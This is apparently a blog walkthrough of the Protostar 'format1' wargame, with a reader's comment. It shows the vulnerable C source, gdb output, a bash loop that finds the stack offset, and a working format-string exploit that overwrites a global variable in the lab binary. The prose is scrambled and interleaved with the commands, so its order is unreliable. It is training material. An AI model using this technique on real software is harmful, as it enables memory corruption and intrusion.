This time, in Format 1 challenge of Protostar wargame, we are provided with the following source code of the vulnerable program.
We will brute-force the position of our parameter with a simple bash script.
user@protostar:/opt/protostar/bin$ ./format1 `python -c 'print "AAAABB%130\$n"'`
Segmentation fault (core dumped)
will be stored in .bss section. We use -t option of objdump to output the
symbol table.
unitialized variables are set to 0. What the "%n" parameter writes in target
variable isn't that much important. It is left for the next challenge.
First, we try to find at what parameter position we start reading our own input. We are told "your input string lies far up the stack :)"#include <stdlib.h>#include <unistd.h>#include <stdio.h>#include <string.h>int target;
void vuln(char *string){printf(string);
if(target) {printf("you have modified the target :)\n");}}
int main(int argc, char **argv){vuln(argv[1]);}
user@protostar:/opt/protostar/bin$ gdb -q ./format1Instead of a huge number of "%x", we can leverage the direct parameter access feature and use only format output.
Reading symbols from /opt/protostar/bin/format1...done.
(gdb) run "AAAA.%x.%x.%x.%x.%x.%x.%x.%x"
Starting program: /opt/protostar/bin/format1 "AAAA.%x.%x.%x.%x.%x.%x.%x.%x"
AAAA.804960c.bffff788.8048469.b7fd8304.b7fd7ff4.bffff788.8048435.bffff96f
Program exited normally.
(gdb) run "AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x"
Starting program: /opt/protostar/bin/format1 "AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x"
AAAA804960c.bffff608.8048469.b7fd8304.b7fd7ff4.bffff608.8048435.bffff7f0.b7ff1040.804845b.b7fd7ff4.8048450.0.bffff688.b7eadc76.2.bffff6b4.bffff6c0.b7fe1848.bffff670.ffffffff.b7ffeff4.804824d.1.bffff670.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffff688.9678b196.bc2ce786.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffff6b4.8048450.8048440.b7ff1040.bffff6ac.b7fff8f8.2.bffff7d5.bffff7f0.0.bffff98c.bffff996.bffff9b7.bffff9cb.bffff9d3.bffff9ed.bffff9fd.bffffa10.bffffa1d.bffffa2c.bffffa38.bffffa43.bffffa81.bffffa92.bfffff82.bfffff90.bfffffa7.bfffffd8.0.20.b7fe2414.21.b7fe2000.10.78bf3bf.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.3e9.d.3e9.e.3e9.17.1.19.bffff7bb.1f.bfffffe1.f.bffff7cb.0.0.0.0.0.ca000000.483c508f.5274b4ca.6f4d36cc.69e05f8d.363836.0.706f2f00.72702f74.736f746f.2f726174.2f6e6962.6d726f66.317461.41414141
Program exited normally.
We will brute-force the position of our parameter with a simple bash script.
user@protostar:/opt/protostar/bin$ for i in {1..200}; do echo -n "$i ";We start reading our input at position 130.
./format1 "AAAABB%$i\$x" | grep 4141; if (( $? == 0 )); then break; fi ; echo
""; done;
<snip>....
130 AAAABB41414141
user@protostar:/opt/protostar/bin$ ./format1 "AAAABB%130\$x"We can also tell our program to write at a provided address by using "%n"
AAAABB41414141
user@protostar:/opt/protostar/bin$ ./format1 `python -c 'print "AAAABB%130\$n"'`
Segmentation fault (core dumped)
Now, time to overwrite our target. As the variable is an unitialized global, it
user@protostar:/opt/protostar/bin$ gdb -q ./format1 /tmp/core.11.format1.12342
Reading symbols from /opt/protostar/bin/format1...done.
<snip>
Program terminated with signal 11, Segmentation fault.
#0 0xb7ed7aa9 in _IO_vfprintf_internal (s=0xb7fd84c0, format=Cannot access memory at address 0x4
) at vfprintf.c:1950
1950 vfprintf.c: No such file or directory.
in vfprintf.c
(gdb) x/5i $eip
0xb7ed7aa9 <_IO_vfprintf_internal+16361>: mov %edx,(%eax)
0xb7ed7aab <_IO_vfprintf_internal+16363>: jmp 0xb7ed4290 <_IO_vfprintf_internal+2000>
0xb7ed7ab0 <_IO_vfprintf_internal+16368>: cmpl $0x0,-0x528(%ebp)
0xb7ed7ab7 <_IO_vfprintf_internal+16375>: je 0xb7ed7fa3 <_IO_vfprintf_internal+17635>
0xb7ed7abd <_IO_vfprintf_internal+16381>: mov -0x4b4(%ebp),%edi
(gdb) i r eax
eax 0x41414141 1094795585
will be stored in .bss section. We use -t option of objdump to output the
symbol table.
user@protostar:/opt/protostar/bin$ objdump -t ./format1 | grep targetWith all the necessary information in our hands, crafting the exploit is easy.
08049638 g O .bss 00000004 target
user@protostar:/opt/protostar/bin$ ./format1 `python -c 'print "\x38\x96\x04\x08BB%130\$n"'`One last point, in this challenge, the condition is "if (target)" as global
8�BByou have modified the target :)
unitialized variables are set to 0. What the "%n" parameter writes in target
variable isn't that much important. It is left for the next challenge.
Hello:
ReplyDeleteI know this exercise is old and maybe my format1 executable is newer than the one you hacked (mine is from Nov 24th 2011), but I can't align the bits.
When doing:
./format1 ABCDEFGH`perl -e 'print "%x."x200'`
I got:
....
43424100 = CBA0
47464544 = GFED
2e782548 = .x%H
...
which means the bits aren't aligned. Using the 130 sled don't work:
./format1 ABCDEFGH`perl -e 'print "%x."x130'`
...
41003174 = A01t
45444342 = EDCB
25484746 = %HGF
....
If I'm not wrong, the goal is to have the target function memory address at the end of the string, so I shorted the sled to 128:
./format1 `perl -e 'print "ABCDEFGH" . "%x."x128'`
...
43424100.47464544.2e782548.252e7825.
If I cut another position in the sled:
./format1 `perl -e 'print "ABCDEFGH" . "%x."x127'`
...
317461 = 1t`
44434241 = DCBA
48474645 = HGFE
So that means I need to replace HGFE with \x38\x96\x04\x08, but when I do:
./format1 `perl -e 'print "ABCD\x38\x96\x04\x08" . "%x."x127'`%x
I got:
...
42410031.96444338.78250804.2e78252e
Not what I was looking for.
How can I aling those bits?
Regards